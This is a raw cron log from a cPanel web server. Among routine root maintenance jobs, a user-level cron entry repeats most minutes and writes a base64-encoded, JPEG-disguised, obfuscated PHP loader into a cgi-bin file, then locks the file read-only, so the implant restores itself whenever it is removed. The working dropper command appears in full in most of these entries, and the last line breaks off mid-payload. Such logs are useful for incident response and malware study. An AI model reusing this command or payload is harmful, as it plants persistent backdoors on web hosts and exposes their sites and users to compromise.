Sep 12 10:30:01 server CROND[24702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:30:01 server CROND[24707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:30:01 server CROND[24704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:30:01 server CROND[24706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:30:01 server CROND[24709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:30:01 server CROND[24711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:30:01 server CROND[24713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:31:01 server CROND[25587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:31:01 server CROND[25588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:31:01 server CROND[25589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:32:01 server CROND[25977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:32:01 server CROND[25978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:32:01 server CROND[25979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:33:01 server CROND[26364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:33:01 server CROND[26366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:33:01 server CROND[26365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:34:01 server CROND[26758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:34:01 server CROND[26760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:34:01 server CROND[26759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:35:01 server CROND[27153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:35:01 server CROND[27161]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 10:35:01 server CROND[27162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:35:01 server CROND[27166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:35:01 server CROND[27163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:35:01 server CROND[27164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:35:01 server CROND[27168]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:35:01 server CROND[27167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:35:01 server CROND[27165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:36:01 server CROND[28086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:36:01 server CROND[28085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:36:01 server CROND[28087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:37:01 server CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:37:01 server CROND[28458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:37:01 server CROND[28460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:38:01 server CROND[28849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:38:01 server CROND[28850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:38:01 server CROND[28851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:39:01 server CROND[29234]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 10:39:01 server CROND[29235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:39:01 server CROND[29237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:39:01 server CROND[29236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:40:01 server CROND[29627]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 10:40:01 server CROND[29628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:40:01 server CROND[29629]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 10:40:01 server CROND[29632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:40:01 server CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:40:01 server CROND[29638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:40:01 server CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:40:01 server CROND[29646]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:41:01 server CROND[30558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:41:01 server CROND[30559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 10:41:01 server CROND[30560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN